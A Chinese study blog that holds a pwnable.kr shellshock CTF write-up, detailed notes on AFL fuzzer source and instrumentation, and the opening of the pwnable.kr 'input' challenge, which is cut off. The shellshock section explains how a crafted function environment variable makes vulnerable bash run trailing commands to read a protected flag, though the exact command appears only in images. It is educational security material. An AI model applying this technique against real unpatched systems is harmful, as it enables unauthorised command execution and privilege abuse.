0%

pwnable.kr —— shellshock

题目有这样一串代码(shellshock.c)

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

因为有些知识记的不太清了这里就再复习一下euid,ruid,suid什么的

  • ruid(real):用于在系统中标识用户,当用户成功登录一个UNIX系统后就唯一确定
  • euid(effective):用于系统决定用户对系统资源的访问权限,通常情况下等于ruid。当碰上程序属主设置了setuid位的时候,执行该程序会将euid改为文件属主

gid同理,所以这里执行到system的时候已经有对应的组权限了(flag在对应组可读)

image-20210407125845099

然后就是构造触发shellshock漏洞的语句

wiki上面有链接,原理跟linux环境变量相关,bash中可以通过环境变量来导入function,此时的function也会当做普通环境变量来处理,具体就是函数名='(){ ...; };',这样子的键值对,而在处理这个function变量的时候,有漏洞的bash版本只检查了前几个字符

STREQN ("() {", string, 4)

然后将整条字符串全部当做脚本代码处理了,本意应该是起子实例的时候,将这个函数的代码字符串直接跑到子实例bash中,供后续调用。但是这里并没有做语法检查或者结尾检查之类的,所以如果函数后面跟了命令也会被跑出来

所以利用流程就是export一个函数类型的环境变量,然后再起一个bash就会触发后续命令

image-20210407232747355

原理大致如下,再结合我们的程序代码,可以看到程序刚好用system起了一个bash,所以export我们的构造语句之后再跑程序就可以直接cat flag了

如图:

image-20210407233151874

好像后续有些版本export就会加前后缀什么的了,修复的方式这里不深究,以后需要再看

照着这篇博客先把fuzz的门入了

AFL源码粗略分析笔记

我是从这篇这篇开始看的,具体概念这两篇文章也写的很清楚了,下面只是记一些粗略的笔记

afl-gcc.c

afl-gcc主要是gcc的一个封装(wrapper),main中主要执行这三个函数:

1
2
3
4
5
find_as(argv[0]);

edit_params(argc, argv);

execvp(cc_params[0], (char**)cc_params);

find_as:

这个函数的作用是找到对应的编译器

edit_params:

主要是对编译参数做一些设置,用-B指定了编译汇编器等,主要是为了插桩

img

execvp:

用处理之后的编译参数进行源码编译

afl-as.c和afl-as.h

就是这里进行的插桩,可以看到编译出来的代码多了一些插入的东西,比如__afl_maybe_log

image-20210127135753497

afl-as.c中的关键函数add_instrumentation,使用fprintf将插桩用的代码插入,用来统计覆盖率,这里大致看一下插桩的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
if (   !pass_thru  &&  !skip_intel  &&  !skip_app  &&  !skip_csect //这四个变量为1时跳过对应的插桩,具体看后面的分析
&& instr_ok && instrument_next && line[0] == '\t' && isalpha(line[1])//这里line[0]和isalpha应该是对应汇编文件的格式判断插入的位置,没有深入研究,instr_ok和instrument_next看后面的分析
)
{

fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE));//插桩写入输出文件,R(MAP_SIZE)的作用是提供一个随机数标识插桩点,在后面分析trampoline_fmt_32会写到
instrument_next = 0;
ins_lines++;
}

fputs(line, outf);//原来的代码再写入输出文件

//....(一些代码)

/*
All right, this is where the actual fun begins. For one, we only want to
instrument the .text section. So, let's keep track of that in processed
files - and let's set instr_ok accordingly.
*/
if (line[0] == '\t' && line[1] == '.') //这个if分值就和注释写的一样,为了只在代码段进行插入,自己不习惯太乱的代码格式就自己稍微改了改了排版
{

/* OpenBSD puts jump tables directly inline with the code, which is
a bit annoying. They use a specific format of p2align directives
around them, so we use that as a signal. */

if (!clang_mode && instr_ok && !strncmp(line + 2, "p2align ", 8)
&& isdigit(line[10]) && line[11] == '\n') skip_next_label = 1;

if (!strncmp(line + 2, "text\n", 5) ||
!strncmp(line + 2, "section\t.text", 13) ||
!strncmp(line + 2, "section\t__TEXT,__text", 21) ||
!strncmp(line + 2, "section __TEXT,__text", 21)
)
{
instr_ok = 1;
continue;
}

if (!strncmp(line + 2, "section\t", 8) ||
!strncmp(line + 2, "section ", 8) ||
!strncmp(line + 2, "bss\n", 4) ||
!strncmp(line + 2, "data\n", 5)
)
{
instr_ok = 0;
continue;
}
}

/* Detect off-flavor assembly (rare, happens in gdb). When this is
encountered, we set skip_csect until the opposite directive is
seen, and we do not instrument.
*/
if (strstr(line, ".code"))//这里可以看到skip_csect是检测.code格式设置的,比较少见
{
if (strstr(line, ".code32")) skip_csect = use_64bit;
if (strstr(line, ".code64")) skip_csect = !use_64bit;
}

/* Detect syntax changes, as could happen with hand-written assembly.
Skip Intel blocks, resume instrumentation when back to AT&T. */
if (strstr(line, ".intel_syntax")) skip_intel = 1;
if (strstr(line, ".att_syntax")) skip_intel = 0;

/* Detect syntax changes, as could happen with hand-written assembly.
Skip Intel blocks, resume instrumentation when back to AT&T. */
if (strstr(line, ".intel_syntax")) skip_intel = 1;
if (strstr(line, ".att_syntax")) skip_intel = 0;

/* Detect and skip ad-hoc __asm__ blocks, likewise skipping them. */
if (line[0] == '#' || line[1] == '#')
{
if (strstr(line, "#APP")) skip_app = 1;
if (strstr(line, "#NO_APP")) skip_app = 0;
}
//上面这三个写的比较清楚就不解释辽

//....(一些代码)

/*
Conditional branch instruction (jnz, etc). We append the instrumentation
right after the branch (to instrument the not-taken path) and at the
branch destination label (handled later on).
*/
if (line[0] == '\t') //这里有个比较重要的分支,当指令不是jmp而是一些条件跳转指令时,会在条件跳转指令之后进行插桩,还有对应的目标地址处(在后面处理)
{
if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) //这个int_ratio暂时没管是干嘛的...
{
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE));
ins_lines++;
}
continue;
}

/*
Label of some sort. This may be a branch destination, but we need to
tread carefully and account for several different formatting
conventions. 这里就是在打上了Label的地方进行插桩,可能是跳转指令的目的地址
*/
/* Everybody else: .L<whatever>: */
if (strstr(line, ":"))
{
if (line[0] == '.')//判断到是一个Label
{
/* .L0: or LBB0_0: style jump destination 跳转Label*/
if ((isdigit(line[2]) || (clang_mode && !strncmp(line + 1, "LBB", 3))) && R(100) < inst_ratio)
{
/* An optimization is possible here by adding the code only if the
label is mentioned in the code in contexts other than call / jmp.
That said, this complicates the code by requiring two-pass
processing (messy with stdin), and results in a speed gain
typically under 10%, because compilers are generally pretty good
about not generating spurious intra-function jumps.

We use deferred output chiefly to avoid disrupting
.Lfunc_begin0-style exception handling calculations (a problem on
MacOS X). */
if (!skip_next_label) instrument_next = 1; else skip_next_label = 0;//这里跟前面的那个标志也有关系
}
}
else
{
/* Function label (always instrumented, deferred mode). 函数Label*/
instrument_next = 1;
}
}
//到这里大循环的插桩就结束了,之后还有补充的小块代码就不写了,主要就是这些:只在代码段插桩、在有函数Label(函数入口)和跳转Label处插桩,在条件条状指令之后插桩

afl-as.h中就是具体的插桩代码,以32位为例来分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static const u8* trampoline_fmt_32 =
"\n"
"/* --- AFL TRAMPOLINE (32-BIT) --- */\n"
"\n"
".align 4\n"
"\n"
"leal -16(%%esp), %%esp\n"
"movl %%edi, 0(%%esp)\n"
"movl %%edx, 4(%%esp)\n"
"movl %%ecx, 8(%%esp)\n"
"movl %%eax, 12(%%esp)\n"
"movl $0x%08x, %%ecx\n" //这里%08x就是前面fprintf中R(MAP_SIZE)的写入点,用作随机数标识
"call __afl_maybe_log\n"
"movl 12(%%esp), %%eax\n"
"movl 8(%%esp), %%ecx\n"
"movl 4(%%esp), %%edx\n"
"movl 0(%%esp), %%edi\n"
"leal 16(%%esp), %%esp\n"
"\n"
"/* --- END --- */\n"
"\n";

payload根据实际效果删了一些宏定义啥的,看起来好看一点,emmm其实建议直接IDA反汇编看更好?….不过这里汇编有作者的注释帮着看,IDA反汇编图我在代码后面贴上了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
main_payload_32 = 
"/* --- AFL MAIN PAYLOAD (32-BIT) --- */\n"
".text\n"
".att_syntax\n"
".code32\n"
".align 8\n"

"__afl_maybe_log:\n"
" lahf\n" //将EFLAGS 寄存器标志位加载到AH
" seto %al\n" //为溢出置位

" /* Check if SHM region is already mapped. */\n"
" movl __afl_area_ptr, %edx\n"
" testl %edx, %edx\n"
" je __afl_setup\n" //检查共享内存指针是否到位

"__afl_store:\n"
" /* Calculate and store hit for the code location specified in ecx. There\n"
" is a double-XOR way of doing this without tainting another register,\n"
" and we use it on 64-bit systems; but it's slower for 32-bit ones. */\n"
" movl __afl_prev_loc, %edi\n"
" xorl %ecx, %edi\n"
" shrl $1, %ecx\n"
" movl %ecx, __afl_prev_loc\n"
" incb (%edx, %edi, 1)\n" //根据随机数存储执行位置,算法在后文分析
The shared_mem[] array is a 64 kB SHM region passed to the instrumented binary
by the caller. Every byte set in the output map can be thought of as a hit for
a particular (branch_src, branch_dst) tuple in the instrumented code.

"__afl_return:\n"
" addb $127, %al\n"
" sahf\n"
" ret\n"

".align 8\n"

"__afl_setup:\n"//setup只会在最开始调用afl_maybe_log处触发,即main函数的最前面触发,主要是开启一个目标文件自己的fork循环用来记录执行路径(这个程序自己的fork循环就是forkserver)
" /* Do not retry setup if we had previous failures. */\n"
" cmpb $0, __afl_setup_failure\n"
" jne __afl_return\n"
" /* Map SHM, jumping to __afl_setup_abort if something goes wrong.\n"
" We do not save FPU/MMX/SSE registers here, but hopefully, nobody\n"
" will notice this early in the game. */\n"
" pushl %eax\n"
" pushl %ecx\n"
" pushl $.AFL_SHM_ENV\n"
" call getenv\n"
" addl $4, %esp\n"
" testl %eax, %eax\n"
" je __afl_setup_abort\n"
" pushl %eax\n"
" call atoi\n"
" addl $4, %esp\n"
" pushl $0 /* shmat flags */\n"
" pushl $0 /* requested addr */\n"
" pushl %eax /* SHM ID */\n"
" call shmat\n"
" addl $12, %esp\n"
" cmpl $-1, %eax\n"
" je __afl_setup_abort\n"
" /* Store the address of the SHM region. */\n"
" movl %eax, __afl_area_ptr\n"
" movl %eax, %edx\n"
" popl %ecx\n"
" popl %eax\n"

"__afl_forkserver:\n"
" /* Enter the fork server mode to avoid the overhead of execve() calls. */\n"
" pushl %eax\n"
" pushl %ecx\n"
" pushl %edx\n"
" /* Phone home and tell the parent that we're OK. (Note that signals with\n"
" no SA_RESTART will mess it up). If this fails, assume that the fd is\n"
" closed because we were execve()d from an instrumented binary, or because\n"
" the parent doesn't want to use the fork server. */\n"
" pushl $4 /* length */\n"
" pushl $__afl_temp /* data */\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */\n"//fork server向fuzzer传递执行状态码,199描述符(后面会说是什么)
" call write\n"
" addl $12, %esp\n"
" cmpl $4, %eax\n"
" jne __afl_fork_resume\n"

"__afl_fork_wait_loop:\n"
" /* Wait for parent by reading from the pipe. Abort if read fails. */\n"
" pushl $4 /* length */\n"
" pushl $__afl_temp /* data */\n"
" pushl $" STRINGIFY(FORKSRV_FD) " /* file desc */\n"//等待fuzzer传递命令,198描述符
" call read\n"
" addl $12, %esp\n"
" cmpl $4, %eax\n"
" jne __afl_die\n"
" /* Once woken up, create a clone of our process. This is an excellent use"
" case for syscall(__NR_clone, 0, CLONE_PARENT), but glibc boneheadedly"
" caches getpid() results and offers no way to update the value, breaking"
" abort(), raise(), and a bunch of other things :-( */\n"
" call fork\n"
" cmpl $0, %eax\n"
" jl __afl_die\n"
" je __afl_fork_resume\n"
" /* In parent process: write PID to pipe, then wait for child. */\n"
" movl %eax, __afl_fork_pid\n"
" pushl $4 /* length */\n"
" pushl $__afl_fork_pid /* data */\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */\n"//199描述符
" call write\n"
" addl $12, %esp\n"
" pushl $0 /* no flags */\n"
" pushl $__afl_temp /* status */\n"
" pushl __afl_fork_pid /* PID */\n"
" call waitpid\n"
" addl $12, %esp\n"
" cmpl $0, %eax\n"
" jle __afl_die\n"
" /* Relay wait status to pipe, then loop back. */\n" //wait statu指最开始那个进程等待到的 子进程返回来的 状态
" pushl $4 /* length */\n"
" pushl $__afl_temp /* data */\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) " /* file desc */\n"
" call write\n"
" addl $12, %esp\n"
" jmp __afl_fork_wait_loop\n"

"__afl_fork_resume:\n"//这里是每次forkserver fork出来的子进程都要执行的
" /* In child process: close fds, resume execution. */\n"
" pushl $" STRINGIFY(FORKSRV_FD) "\n"
" call close\n"
" pushl $" STRINGIFY((FORKSRV_FD + 1)) "\n"
" call close\n"
" addl $8, %esp\n"
" popl %edx\n"
" popl %ecx\n"
" popl %eax\n"
" jmp __afl_store\n"//跳到前面的__afl_store

"__afl_die:\n"
" xorl %eax, %eax\n"
" call _exit\n"

"__afl_setup_abort:\n"
" /* Record setup failure so that we don't keep calling\n"
" shmget() / shmat() over and over again. */\n"
" incb __afl_setup_failure\n"
" popl %ecx\n"
" popl %eax\n"
" jmp __afl_return\n"

".AFL_VARS:\n"
" .comm __afl_area_ptr, 4, 32\n"
" .comm __afl_setup_failure, 1, 32\n"
" .comm __afl_prev_loc, 4, 32\n"
" .comm __afl_fork_pid, 4, 32\n"
" .comm __afl_temp, 4, 32\n"
"\n"
".AFL_SHM_ENV:\n"
" .asciz \"" SHM_ENV_VAR "\"\n"
"\n"
"/* --- END --- */\n"
image-20210203133736042

alloc-inl.c

后面的代码中很多与内存相关的操作都是alloc-inl里面的,不缕一下的话不知所云…所以这里记录一下经常在afl-fuzz.c中看到的几个内存操作函数

作者原话:This allocator is not designed to resist malicious attackers (the canaries are small and predictable), but provides a robust and portable way to detect use-after-free, off-by-one writes, stale pointers, and so on.

里面的宏定义有一些类似:__LINE____FUNCTION__的,这是C编译器的内置宏,具体代表什么意思百度一下即可

  • ALLOC_CHECK_SIZE(size) malloc前检查size是否超过设置的最大chunk大小
  • ret = malloc(size + ALLOC_OFF_TOTAL);经常出现的malloc方式,这里是+ ALLOC_OFF_TOTAL为了在chunk前8字节处存放一个4B的头部标志和size,还有一个1B的尾部标志
  • ALLOC_CHECK_RESULT(ret,size) malloc后检查是否分配成功,若ret为NULL,这个size就会用于打印错误信息
  • TRK_ck_strdup,(TRK开头 + ck + 一般函数名)的函数,主要进行如下两个操作
    • void* ret = DFL_ck_strdup(str);,(DFL开头)的函数就是正常的操作,比如这个DFL_ck_strdup就是用作者自己的一些逻辑+上面提到的三个主要步骤实现
    • TRK_alloc_buf(void* ret, const char* file, const char* func, u32 line) ,将哪个文件、哪个函数、哪一行申请内存的信息用 哈希散列+链地址法 的方法存在了一个散列表中,主要为了后续的检查。带alloc的函数用来存放,带free的就是用来判断有没有错误之类的

afl-fuzz.c

看完了插桩接下来就是看具体的fuzz逻辑了,这里大概有8000多行代码,慢慢缕吧

main函数前面的主逻辑就是一个处理输入参数的逻辑,里面还处理了一个non official参数 -B…这里是作者的注释,作用是指定bitmap,会影响in_bitmap这个全局变量

1
2
3
4
5
6
7
8
9
10
/* This is a secret undocumented option! It is useful if you find
an interesting test case during a normal fuzzing process, and want
to mutate it without rediscovering any of the test cases already
found during an earlier run.

To use this mode, you need to point -B to the fuzz_bitmap produced
by an earlier run for the exact same binary... and that's it.

I only used this once or twice to get variants of a particular
file, so I'm not making this an official setting. */

处理完参数之后,首先 setup_signal_handlers();check_asan_opts();,设置一系列程序运行时的信号处理,比如超时如何处理,检查asan参数,然后还有一系列的设置和检查,具体还是看代码的7910行左右吧(2.52版本)

处理完参数之后就是一些操作

main (part1)

因为函数属实有点多所以只记录了一些印象比较深的,建议想了解的话,每个函数点进去看看作者的注释说了什么,而且一些函数的作用在我前面开头提到的入门博客中有写,就不赘述了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  save_cmdline(argc, argv);//保存当前命令
fix_up_banner(argv[optind]);//跟运行时的标志有关系,显示一个运行示例的名字之类的,可以用-T指定这个banner
check_if_tty();
get_core_count();
#ifdef HAVE_AFFINITY
bind_to_free_cpu();
#endif /* HAVE_AFFINITY */
check_crash_handling();
check_cpu_governor();
setup_post();
setup_shm();//这一步为bitmap初始共享内存,供fuzzer分析、目标文件进行记录
//还初始化了virgin_bits(如果使用-B就不会),virgin_tmout,virgin_crash,内容均为0xFF

init_count_class16();//这里是为bitmap中的执行次数分类做准备
setup_dirs_fds();
read_testcases();
load_auto();
pivot_inputs();
if (extras_dir) load_extras(extras_dir);
if (!timeout_given) find_timeout();
detect_file_args(argv + optind + 1);
if (!out_file) setup_stdio_file();
check_binary(argv[optind]);
start_time = get_cur_time();
if (qemu_mode)
use_argv = get_qemu_argv(argv[0], argv + optind, argc - optind);
else
use_argv = argv + optind;

perform_dry_run(use_argv);//这个函数可以看看,主要是初始化forkserver后用我们提供的testcase进行初始测试,然后输出测试用例的一些结果信息
//里面子函数有很多关于fuzz细节相关的代码,建议研读

calibrate_case

perform_dry_run中主要就是这个函数用我们给的所有testcase对进行循环测试,calibrate_case第一次先调用init_forkserver将结构初始化(函数见下文),然后根据临时变量stage指定的次数,使用run_target进行循环测试(函数见下文),而且每次执行完都进行了一次update_bitmap_score(这个函数用于找到更快或者规模更小的用例来达到相同的效果),这里是循环体内的一部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
u32 cksum;//这个变量在后面的hash会用到
if (!first_run && !(stage_cur % stats_update_freq)) show_stats();//这个是输出界面
write_to_testcase(use_mem, q->len);//输入测试用例的数据到一个临时文件,当做被测试文件的输入

fault = run_target(argv, use_tmout);//fault是目标测试返回的错误类型

/* stop_soon is set by the handler for Ctrl+C. When it's pressed,
we want to bail out quickly. */
if (stop_soon || fault != crash_mode) goto abort_calibration;//如果不是crash(只记录crash的crash模式)

cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST);//对执行的trace bitmap做一次hash

if (q->exec_cksum != cksum)//如果hash值发生变化,检测变化
{
u8 hnb = has_new_bits(virgin_bits);//always 0,return 1 hit-count for a particular tuple,2 if new tuples(二元组是干什么的见官方文档吧,相当于执行路径,用bitmap记录的)
if (hnb > new_bits) new_bits = hnb;
if (q->exec_cksum)//如果已经run过
{
u32 i;
for (i = 0; i < MAP_SIZE; i++)
{
if (!var_bytes[i] && first_trace[i] != trace_bits[i])//用var_bytes记录执行变化了的位置
{
var_bytes[i] = 1;
stage_max = CAL_CYCLES_LONG;
}
}
var_detected = 1;
}
else
{
q->exec_cksum = cksum;
memcpy(first_trace, trace_bits, MAP_SIZE);
}
}

循环体之后的代码,这里就针对perform_dry_run中单个测试用例的全部变化了,q就代表一个测试用例的结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
  stop_us = get_cur_time_us();
total_cal_us += stop_us - start_us;//统计时间用
total_cal_cycles += stage_max;
/* OK, let's collect some stats about the performance of this test case.
This is used for fuzzing air time calculations in calculate_score(). */
q->exec_us = (stop_us - start_us) / stage_max;//每次执行的平均时间
q->bitmap_size = count_bytes(trace_bits);//记录路径二元组的组数
q->handicap = handicap;
q->cal_failed = 0;

total_bitmap_size += q->bitmap_size;
total_bitmap_entries++;

update_bitmap_score(q);//更新top_rated结构体
//里面有一个minimize_bits函数,意思是设置一个只有0,1表示的是否有路径的minibitmap,相当于舍弃了原始bitmap的计数,只用一字节中的一位来表示
/* If this case didn't result in new output from the instrumentation, tell
parent. This is a non-critical problem, but something to warn the user
about. */
if (!dumb_mode && first_run && !fault && !new_bits) fault = FAULT_NOBITS;

abort_calibration:
if (new_bits == 2 && !q->has_new_cov)
{
q->has_new_cov = 1;//循环执行过程中路径发生过变化
queued_with_cov++;
}
/* Mark variable paths. 在循环中如有某次的trace变化了,对该测试用例进行记录*/
if (var_detected)
{
var_byte_count = count_bytes(var_bytes);
if (!q->var_behavior)
{
mark_as_variable(q);
queued_variable++;
}
}
stage_name = old_sn;
stage_cur = old_sc;
stage_max = old_sm;
if (!first_run) show_stats();
return fault;

init_forkserver

calibrate_case中的函数,init_forkserver的代码不难懂建议直接看,又因为比较长这里就不写太多了,主要就是打开了两个pipe(一个用于forkserver发送状态、一个用于fuzzer发送命令,管道描述符分别设置值为198和199,对应之前的afl_maybe_log)之后fork出一个fuzzer子进程并setsid,把子进程的stdout、stderr全关、做了一些设置之后用execv替换成目标文件的进程映象,正式成为供fuzzer控制的forkserver。对于这个结构师傅们给出了图,对应的操作点一边是前面的afl-as.h分析中可以看到,还有一边在fuzzer中的run_target函数(下文分析)

image-20210203145001 QQ图片20210203145001

run_target

这里截取了forkserver模式的部分代码用注释的方法分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
/* Execute target application, monitoring for timeouts. Return status
information. The called program will update trace_bits[]. */
static u8 run_target(char** argv, u32 timeout) {
static struct itimerval it;//设置判断超时用
static u32 prev_timed_out = 0;
int status = 0;
u32 tb4;
child_timed_out = 0;

/* After this memset, trace_bits[] are effectively volatile, so we
must prevent any earlier operations from venturing into that
territory. */
memset(trace_bits, 0, MAP_SIZE);//每次runtarget都会将bitmap置零
MEM_BARRIER();//保护内存用

s32 res;
/* In non-dumb mode, we have the fork server up and running, so simply
tell it to have at it, and then read back PID. */

//下文的write和read是发送命令接收状态的具体位置
if ((res = write(fsrv_ctl_fd, &prev_timed_out, 4)) != 4) //4B trigger forkserver,这里对应前面的hello message,正式启动,prev_time_out在这里是啥东西应该无所谓
{
if (stop_soon) return 0;
RPFATAL(res, "Unable to request new process from fork server (OOM?)");
}

if ((res = read(fsrv_st_fd, &child_pid, 4)) != 4) //get the child's PID by the fork of forkserver
{
if (stop_soon) return 0;
RPFATAL(res, "Unable to request new process from fork server (OOM?)");
}

if (child_pid <= 0) FATAL("Fork server is misbehaving (OOM?)");

/* Configure timeout, as requested by user, then wait for child to terminate. */
it.it_value.tv_sec = (timeout / 1000);
it.it_value.tv_usec = (timeout % 1000) * 1000;
setitimer(ITIMER_REAL, &it, NULL);

/* The SIGALRM handler simply kills the child_pid and sets child_timed_out. */
s32 res;
if ((res = read(fsrv_st_fd, &status, 4)) != 4)//这里调用read应该会阻塞,因为这个statu得等子进程退出或者出错啥的
//此时forkserver还在waitpid,forkserver一旦接收到子进程的信号量就发statu到fuzzer这里
{
if (stop_soon) return 0;
RPFATAL(res, "Unable to communicate with fork server (OOM?)");
}

if (!WIFSTOPPED(status)) child_pid = 0;//已经停止了就将child_pid置零,防止在执行这几行代码时记录成time_out
it.it_value.tv_sec = 0;
it.it_value.tv_usec = 0;
setitimer(ITIMER_REAL, &it, NULL);//这里都是0的话就是取消计时器

total_execs++;

/* Any subsequent operations on trace_bits must not be moved by the
compiler below this point. Past this location, trace_bits[] behave
very normally and do not have to be treated as volatile. */
MEM_BARRIER();

tb4 = *(u32*)trace_bits;

classify_counts((u32*)trace_bits);//对trace_bits中的次数进行分类、重写
//这里比较重要,第一次分析的时候没注意在run_target分类之后bitmap中每个字节只有9种状态,在前面calibrate_case里面有一个has_new_bits一直没看懂细节

prev_timed_out = child_timed_out;

/*Report outcome to caller. 下面都是判断测试用例退出类型*/
if (WIFSIGNALED(status) && !stop_soon) {
kill_signal = WTERMSIG(status);
if (child_timed_out && kill_signal == SIGKILL) return FAULT_TMOUT;
return FAULT_CRASH;
}

/* A somewhat nasty hack for MSAN, which doesn't support abort_on_error and
must use a special exit code. */
if (uses_asan && WEXITSTATUS(status) == MSAN_ERROR)
{
kill_signal = 0;
return FAULT_CRASH;
}
return FAULT_NONE;
}

main(part2)

fuzzer的第二部分,部分删减,虽然说前面分析跑测试用例的部分已经把fuzzer原理缕了很多,但是这里开始才是变异的核心部分,有些可以参考sakura的这篇文章,可能写的更详细或者侧重点不同啥的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
  cull_queue();//用于精简提供的测试用例,算法在文章最开始提到的文章里面有写,是一个贪心策略,这里面的标记都是用的单个bit,用到了前面的minibitmap
show_init_stats();
seek_to = find_start_position();//resume时用,正常状态为0

write_stats_file(0, 0, 0);
save_auto();

if (stop_soon) goto stop_fuzzing;

while (1) {
u8 skipped_fuzz;
cull_queue();
if (!queue_cur) {//queue_cur用来判断是否执行完一轮,当然初始进来的时候应该是默认为null
queue_cycle++;//整个队列循环的次数
current_entry = 0;//这个好像就是指第几个测试用例
cur_skipped_paths = 0;//
queue_cur = queue;

show_stats();
/* If we had a full queue cycle with no new finds, try
recombination strategies next. */
if (queued_paths == prev_queued) //queue里的case数是否未变化
{
if (use_splicing) cycles_wo_finds++; //开启拼接时cycles_wo_finds++
else use_splicing = 1;//否则开启拼接
}
else cycles_wo_finds = 0;

prev_queued = queued_paths;
if (sync_id && queue_cycle == 1 && getenv("AFL_IMPORT_FIRST"))//这里是synchronize fuzz用的
sync_fuzzers(use_argv);
}
skipped_fuzz = fuzz_one(use_argv);//关键函数,fuzz_one对当前queue进行一次完整测试,也是目前最长的一个函数,大约有1500行

if (!stop_soon && sync_id && !skipped_fuzz) {
if (!(sync_interval_cnt++ % SYNC_INTERVAL))
sync_fuzzers(use_argv);
}

if (!stop_soon && exit_1) stop_soon = 2;
if (stop_soon) break;
queue_cur = queue_cur->next;
current_entry++;
}
if (queue_cur) show_stats();
write_bitmap();
write_stats_file(0, 0, 0);
save_auto();

stop_fuzzing:
SAYF(CURSOR_SHOW cLRD "\n\n+++ Testing aborted %s +++\n" cRST,
stop_soon == 2 ? "programmatically" : "by user");
/* Running for more than 30 minutes but still doing first cycle? */
if (queue_cycle == 1 && get_cur_time() - start_time > 30 * 60 * 1000) {
SAYF("\n" cYEL "[!] " cRST
"Stopped during the first cycle, results may be incomplete.\n"
" (For info on resuming, see %s/README.)\n", doc_path);
}

fclose(plot_file);
destroy_queue();
destroy_extras();
ck_free(target_path);
ck_free(sync_id);
alloc_report();
OKF("We're done here. Have a nice day!\n");
exit(0);

fuzz_one

先看一下他的跳过策略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if (pending_favored) 
{
/* If we have any favored, non-fuzzed new arrivals in the queue,
possibly skip to them at the expense of already-fuzzed or non-favored
cases. */
if ((queue_cur->was_fuzzed || !queue_cur->favored) && UR(100) < SKIP_TO_NEW_PROB) return 1;
//这里不满足favored或者non-fuzzed的话跳过概率是99%
}
else if (!dumb_mode && !queue_cur->favored && queued_paths > 10)
{
/* Otherwise, still possibly skip non-favored cases, albeit less often.
The odds of skipping stuff are higher for already-fuzzed inputs and
lower for never-fuzzed entries. */
if (queue_cycle > 1 && !queue_cur->was_fuzzed)
{
if (UR(100) < SKIP_NFAV_NEW_PROB) return 1;
//queue_cycle大于1且没有被fuzz过,跳过概率是75%
}
else
{
if (UR(100) < SKIP_NFAV_OLD_PROB) return 1;
//fuzzed&&no-favored,有90%概率跳过
}
}

进入fuzz流程的话,就先将case map到内存

1
2
3
4
5
fd = open(queue_cur->fname, O_RDONLY);
len = queue_cur->len;
orig_in = in_buf = mmap(0, len, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);//MAP_PRIVATE在内存对文件的修改不会影响文件本身

close(fd);

然后有一个CALIBRATION阶段和TRIMMING阶段,前者是在之前proform_dry_run中如果校准失败就再次校准,后者主要是为了修剪文件长度啥的,如果修剪文件对执行路径没有影响就make it permanent,优化后续运行

之后是一个PERFORMANCE SCORE阶段为该case计分,影响后续的havoc stage

到这里就是主要的变异策略了,推荐直接看文章吧,后面节约时间我就先不写了,以后自己要写变异策略的时候再参考吧

pwnable.kr —— input

先看看题目代码

image-20210103152433405

stage1

要求argc值为100,就是除文件名外还需要99个参数,argv['A']="\x00"argv['B']="\x20\x0a\x0d",要满足最后argv[argc]=NULL

stage2

要求从fd:0(stdin)处读出4字节\x00\x0a\x00\xff,从fd:2(stderr)处读出四字节\x00\x0a\x02\xff,这里直接读是读不了的,要使用dup2函数将文件描述符克隆到 0和2

stage3

设置一个环境变量,好说

stage4

打开一个文件名是回车的文件,读四字节\x00\x00\x00\x00

stage5

image-20210103153255873

这里好好学一下网络编程的一些东西,之前一直喜欢忽略

socket函数(返回socke描述符)

1
2
3
#include <sys/socket.h>
int socket(int family,int type,int protocol);
//返回:若成功则为非负描述符,若出错则为-1

family参数指明协议簇,决定了socket的地址类型,如AF_INET决定了要用IPv4地址(32位的)与端口号(16位的)的组合、AF_UNIX要使用一个绝对路径名作为地址

family 说明
